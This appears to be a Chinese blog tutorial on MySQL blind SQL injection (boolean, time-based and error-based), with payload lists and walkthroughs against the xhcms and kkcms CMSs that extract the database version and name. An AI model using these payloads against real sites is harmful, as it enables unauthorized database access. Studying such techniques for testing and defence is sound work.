当前位置: 首页 > news >正文

Web攻防04_MySQL注入_盲注

文章目录

  • MYSQL-SQL操作-增删改查
  • 盲注概念
  • 盲注分类
  • 盲注语句
      • 参考&更多盲注语句/函数
  • 注入条件-数据回显&错误处理
      • PHP开发项目-注入相关条件:
      • 基于延时:
      • 基于布尔:
      • 基于报错:
  • CMS案例-插入报错&删除延时-PHP&MYSQL
    • 1、xhcms-insert报错
    • 2、kkcms-delete延时
      • 总结

请添加图片描述

参考:https://www.jianshu.com/p/bc35f8dd4f7c

MYSQL-SQL操作-增删改查

1、功能:数据查询

查询:SELECT * FROM news where id=$id

2、功能:新增用户,添加新闻等

增加:INSERT INTO news (字段名) VALUES (数据)

3、功能:删除用户,删除新闻等

删除:DELETE FROM news WHERE id=$id

4、功能:修改用户,修改文章等

修改:UPDATE news SET id=$id

盲注概念

盲注就是在注入过程中,获取的数据不能回显至前端页面。

我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。(没有回显的注入)

解决:常规的联合查询注入不行的情况

盲注分类

我们可以知道盲注分为以下三类:

1、基于布尔的SQL盲注-逻辑判断

regexp,like,ascii,left,ord,mid

需要有回显,错了报错

2、基于时间的SQL盲注-延时判断

if,sleep

3、基于报错的SQL盲注-报错回显

floor,updatexml,extractvalue

一般用的较多的是延迟注入和报错注入,布尔需要有回显,一般网站都没有。

盲注语句

延迟:

and sleep(1);

and if(1>2,sleep(1),0);

and if(1<2,sleep(1),0);

布尔:

and length(database())=7; 数据库长度

and left(database(),1)=‘p’; database()的前一位

and left(database(),2)=‘pi’; database()的前两位

and substr(database(),1,1)=‘p’; database()的第一位

and substr(database(),2,1)=‘i’; database()的第二位

and ord(left(database(),1))=112;

报错:

and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)

0x7e —> 十六进制编码 ~ 为了更好的识别内容,有些工具为了识别也加入

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

有些报错语句基于MySQL版本决定。有些版本不支持一些语句,目前用的最多的语句:

1、通过floor报错,注入语句如下:
and select 1 from (select count(),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a);2、通过ExtractValue报错,注入语句如下:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));3、通过UpdateXml报错,注入语句如下:
and 1=(updatexml(1,concat(0x3a,(select user())),1))

参考&更多盲注语句/函数

参考:https://www.jianshu.com/p/bc35f8dd4f7c

like 'ro%'            #判断ro或ro...是否成立 regexp '^xiaodi[a-z]' #匹配xiaodi及xiaodi...等if(条件,5,0)          #条件成立 返回5 反之 返回0sleep(5)              #SQL语句延时执行5秒mid(a,b,c)            #从位置b开始,截取a字符串的c位substr(a,b,c)         #从位置b开始,截取字符串a的c长度left(database(),1),database() #left(a,b)从左侧截取a的前b位length(database())=8  #判断数据库database()名的长度ord=ascii ascii(x)=97 #判断x的ascii码是否等于97

注入条件-数据回显&错误处理

PHP开发项目-注入相关条件:

1、是否有输出结果

2、是否开启报错

基于延时:

都不需要

and if(1=1,sleep(5),0)

基于布尔:

有数据库输出判断标准

and length(database())=6

基于报错:

有数据库报错处理判断标准

and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)

测试delete注入:(有无回显,有无报错)

删除(延迟):1 and if(1=1,sleep(5),0)

删除(布尔):3 and length(database())=6(无回显 无法判断注入)

删除(报错):4 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

CMS案例-插入报错&删除延时-PHP&MYSQL

1、xhcms-insert报错

审计时发现有报错注入:

请添加图片描述

找到网站中该处注入点:

请添加图片描述

写入注入的报错语句:

' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1) and '

请添加图片描述

保存提交,得到注入结果:

请添加图片描述

注入得出MySQL版本。

2、kkcms-delete延时

审计时找到可注入点,但是没有回显也没有报错,只能延时注入:

请添加图片描述

找到页面位置:

请添加图片描述

由于该注入为延迟注入,需要判断时间,用burpsuite抓包进行改包注入,或用postman等工具进行测试较为方便。

抓到删除的包

使用延时语句进行注入:

and if(1=1,sleep(5),0)

or if(1=1,sleep(5),0)

发现并没有延时:

因为php中有自动过滤单引号,过滤了单引号所以注入失败,将字符换位ASCII码,即可绕过。

MySQL中ord()函数转换为ASCII码

**注入语句:**or if(ord(left(database(),1))=107,sleep(2),0)

ord(left(database(),1))=107该语句表示数据库名第一位的ASCII码为107,即为k

结果:出现延迟

请添加图片描述

总结

SQL注入-DNSlog带外显示,也就是需要通过SQL语句去请求外部网站,只有使用load_file()去载入外部网址内容才有可能,所以需要是root用户而且将安全开关关闭,才有可能,实战中基本不可能遇到。没有太大价值。

实际情况中手工注入的机会不多,一般都是先用工具注入,如果工具注入失败,再通过工具的结果情况判断,是哪方面原因,再结合手工注入进行对比,之后再对工具进行修复,对其语句进行修改,再用工具进行注入。

相关文章:

Web攻防04_MySQL注入_盲注

文章目录 MYSQL-SQL操作-增删改查盲注概念盲注分类盲注语句参考&更多盲注语句/函数 注入条件-数据回显&错误处理PHP开发项目-注入相关条件&#xff1a;基于延时&#xff1a;基于布尔&#xff1a;基于报错&#xff1a; CMS案例-插入报错&删除延时-PHP&MYSQL1、x…...

Flask自定义装饰和g的使用

1. 在commons.py文件中新增一个装饰器类: 注&#xff1a;一定要加入wraps进行装饰否则&#xff0c;装饰器在给多个函数进行装饰时会报错 from functools import wraps from flask import session, current_app, g# 定义登陆装饰器&#xff0c;封装用户的登陆数据 def user_log…...

【汇编】汇编语言基础知识(学习笔记)

一、汇编语言概述 汇编语言是直接在硬件之上工作的编程语言&#xff0c;首先要了解硬件奈统的结构&#xff0c;才能有效的应用汇编语言对其编程。 二、汇编语言的产生 机器语言&#xff1a;机器语言是机器指令的集合 汇编语言的主体是汇编指令 汇编指令和机器指令的差别在…...

前端 | FormData 用法详解

前端 | FormData 用法详解 介绍 ​FormData 是 Ajax2.0 对象用以将数据编译成键值对&#xff0c;以便于 XMLHttpRequest 来发送数据。XMLHttpRequest Level 2 提供的一个接口对象&#xff0c;可以使用该对象来模拟和处理表单并方便的进行文件上传操作 ​ 如果表单属性设为 mu…...

linux常见命令-文件目录类

9.4 文件目录类 &#xff08;1&#xff09;pwd 指令:显示当前工作目录的绝对路径 &#xff08;2&#xff09;Is指令:查看当前目录的所有内容信息 基本语法&#xff1a; ls [选项,可选多个] [目录或是文件] 常用选项:-a:显示当前目录所有的文件和目录&#xff0c;包括隐藏的…...

2023 10月8日 至 10 月16日学习总结

1.做的题目 [RootersCTF2019]I_&#xff1c;3_Flask_双层小牛堡的博客-CSDN博客 [NCTF2019]SQLi regexp 盲注-CSDN博客 [网鼎杯 2018]Comment git泄露 / 恢复 二次注入 .DS_Store bash_history文件查看-CSDN博客 PHP LFI 利用临时文件Getshell_双层小牛堡的博客-CSDN博客 …...

【Java 进阶篇】深入了解 Bootstrap 表格和菜单

表格和菜单是网页设计中的重要组成部分&#xff0c;它们用于展示数据、导航和用户交互。Bootstrap 是一个强大的前端框架&#xff0c;提供了丰富的表格样式和菜单组件&#xff0c;使开发者能够轻松创建功能丰富的网页。在本文中&#xff0c;我们将深入探讨 Bootstrap 中表格和菜…...

java的for循环中遇到异常抛出后继续循环执行

java的for循环中遇到异常抛出后继续循环执行 Test public void loopTryCatchTest() throws Exception {Map<String, Object> a new HashMap();a.put("a", "1");a.put("b", null);a.put("c", "3");for (Map.Entry<…...

【Javascript】构造函数之new的作用

目录 new的作用 把对象返回了回来 无new 有new 把构造函数的this指向了要返回的对象 无new​编辑 有new new的执行流程 new的作用 创建了新空对象将构造函数的作用域赋值给新对象(this指向新对象)执行构造函数代码 &#xff08;为这个新对象添加属性&#xff09;返回新对…...

粘包和半包问题及解决办法

粘包问题是指数据在传输时&#xff0c;在一条消息中读取到了另一条消息的部分数据&#xff0c;这种现象就叫做粘包。 半包问题是指数据在传输时&#xff0c;接收端只收到了部分数据&#xff0c;而非完整的数据&#xff0c;就叫做半包。 产生粘包和半包问题原因&#xff1a; …...

MySQL数据库查询实战操作

前置条件: 创建库:MySQL基本操作之创建数据库-CSDN博客 创建表:MySQL基本操作之创建数据表-CSDN博客 目录 常规查询常用函数union查询一、常规查询 1、查询所有姓名以 "张" 开头的学生: SELECT * FROM student WHERE name LIKE 张%; 这条语句使用 LIKE 运算…...

Elasticsearch 8.9 Master节点处理请求源码

大家看可以看ElasticSearch源码&#xff1a;Rest请求与Master节点处理流程&#xff08;1&#xff09; 这个图非常好&#xff0c;下午的讲解代码在各个类和方法之间流转&#xff0c;都体现这个图上 一、Master节点处理请求的逻辑1、节点(数据节点)要和主节点进行通讯&#xff0…...

Python---练习:while循环案例:猜数字

需求&#xff1a; 计算机从1 ~ 10之间随机生成一个数字&#xff0c;然后提示输入数字&#xff0c;如果我们输入的数字与随机数相等&#xff0c;则提示恭喜你&#xff0c;答对了。如果输入的数字比随机数大&#xff0c;则提示&#xff0c;猜大了。反之&#xff0c;则提示猜小了…...

CRM自动化意味着什么?企业如何从中受益?

客户关系管理&#xff08;CRM&#xff09;软件不再仅仅适用于大公司或销售周期长的行业&#xff0c;它越来越成为各种规模企业的重要工具。 在日常工作中&#xff0c;当你陷入流程的所有细节时&#xff0c;可能会产生不必要的工作。因此&#xff0c;如果你想要CRM提供的组织和…...

Python大数据之PySpark

PySpark入门 1、 Spark与PySpark 1、 Spark与PySpark...

网工记背命令(7)----静态路由(负载分担,主备备份)

1.静态路由负载分担 如图所示&#xff0c;属于不同网段的主机通过几台 Switch 相连&#xff0c;要求不配置动态路由协议&#xff0c;使不同网 段的任意两台主机之间能够互通&#xff0c;从拓扑图中可以看出&#xff0c;从 PCA 到 PCC 有两条路径可以过去&#xff0c;分别是 PC…...

error: unable to read askpass response from

报错信息 解决方法&#xff1a; 中文&#xff1a;文件-->设置-->版本控制-->Git-->勾选使用凭证帮助程序 英文&#xff1a;File -> Settings -> Version Control -> Git / Check "User credential Helper" 因为我的webstrom是中文版的&#…...

运行stable-diffusion-xl-refiner-1.0遇到version `GLIBCXX_3.4.29‘ not found的问题

一、问题背景 https://huggingface.co/stabilityai/stable-diffusion-xl-refiner-1.0 在运行示例程序时候遇到GLIBCXX_3.4.29‘ not found diffusers to > 0.18.0 import torch from diffusers import StableDiffusionXLImg2ImgPipeline from diffusers.utils import loa…...

Ubuntu - 安装 Elasticsearch(ES)

注意&#xff1a;以下步骤基于 Elasticsearch 7.x 版本。版本可能会随时间而变化&#xff0c;请查看 Elasticsearch 官方网站以获取最新的版本信息。 添加 Elasticsearch APT 仓库&#xff1a; 打开终端&#xff0c;并使用以下命令添加 Elasticsearch APT 仓库到系统&#xf…...

字节码进阶之java Instrumentation原理详解

文章目录 0. 前言1. 基础2. Java Instrumentation API使用示例 3. Java Agent4. 字节码操作库5. 实际应用6. 注意事项和最佳实践 0. 前言 Java Instrumentation是Java API的一部分&#xff0c;它允许开发人员在运行时修改类的字节码。使用此功能&#xff0c;可以实现许多高级操…...

内存分配函数malloc kmalloc vmalloc

内存分配函数malloc kmalloc vmalloc malloc实现步骤: 1)请求大小调整:首先,malloc 需要调整用户请求的大小,以适应内部数据结构(例如,可能需要存储额外的元数据)。通常,这包括对齐调整,确保分配的内存地址满足特定硬件要求(如对齐到8字节或16字节边界)。 2)空闲…...

云启出海,智联未来|阿里云网络「企业出海」系列客户沙龙上海站圆满落地

借阿里云中企出海大会的东风&#xff0c;以**「云启出海&#xff0c;智联未来&#xff5c;打造安全可靠的出海云网络引擎」为主题的阿里云企业出海客户沙龙云网络&安全专场于5.28日下午在上海顺利举办&#xff0c;现场吸引了来自携程、小红书、米哈游、哔哩哔哩、波克城市、…...

[10-3]软件I2C读写MPU6050 江协科技学习笔记(16个知识点)

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16...

在Ubuntu中设置开机自动运行(sudo)指令的指南

在Ubuntu系统中&#xff0c;有时需要在系统启动时自动执行某些命令&#xff0c;特别是需要 sudo权限的指令。为了实现这一功能&#xff0c;可以使用多种方法&#xff0c;包括编写Systemd服务、配置 rc.local文件或使用 cron任务计划。本文将详细介绍这些方法&#xff0c;并提供…...

【AI学习】三、AI算法中的向量

在人工智能&#xff08;AI&#xff09;算法中&#xff0c;向量&#xff08;Vector&#xff09;是一种将现实世界中的数据&#xff08;如图像、文本、音频等&#xff09;转化为计算机可处理的数值型特征表示的工具。它是连接人类认知&#xff08;如语义、视觉特征&#xff09;与…...

大数据学习(132)-HIve数据分析

​​​​&#x1f34b;&#x1f34b;大数据学习&#x1f34b;&#x1f34b; &#x1f525;系列专栏&#xff1a; &#x1f451;哲学语录: 用力所能及&#xff0c;改变世界。 &#x1f496;如果觉得博主的文章还不错的话&#xff0c;请点赞&#x1f44d;收藏⭐️留言&#x1f4…...

Python ROS2【机器人中间件框架】 简介

销量过万TEEIS德国护膝夏天用薄款 优惠券冠生园 百花蜂蜜428g 挤压瓶纯蜂蜜巨奇严选 鞋子除臭剂360ml 多芬身体磨砂膏280g健70%-75%酒精消毒棉片湿巾1418cm 80片/袋3袋大包清洁食品用消毒 优惠券AIMORNY52朵红玫瑰永生香皂花同城配送非鲜花七夕情人节生日礼物送女友 热卖妙洁棉…...

高效线程安全的单例模式:Python 中的懒加载与自定义初始化参数

高效线程安全的单例模式:Python 中的懒加载与自定义初始化参数 在软件开发中,单例模式(Singleton Pattern)是一种常见的设计模式,确保一个类仅有一个实例,并提供一个全局访问点。在多线程环境下,实现单例模式时需要注意线程安全问题,以防止多个线程同时创建实例,导致…...

Rust 开发环境搭建

环境搭建 1、开发工具RustRover 或者vs code 2、Cygwin64 安装 https://cygwin.com/install.html 在工具终端执行&#xff1a; rustup toolchain install stable-x86_64-pc-windows-gnu rustup default stable-x86_64-pc-windows-gnu ​ 2、Hello World fn main() { println…...

6️⃣Go 语言中的哈希、加密与序列化:通往区块链世界的钥匙

Go 语言中的哈希、加密与序列化:通往区块链世界的钥匙 一、前言:离区块链还有多远? 区块链听起来可能遥不可及,似乎是只有密码学专家和资深工程师才能涉足的领域。但事实上,构建一个区块链的核心并不复杂,尤其当你已经掌握了一门系统编程语言,比如 Go。 要真正理解区…...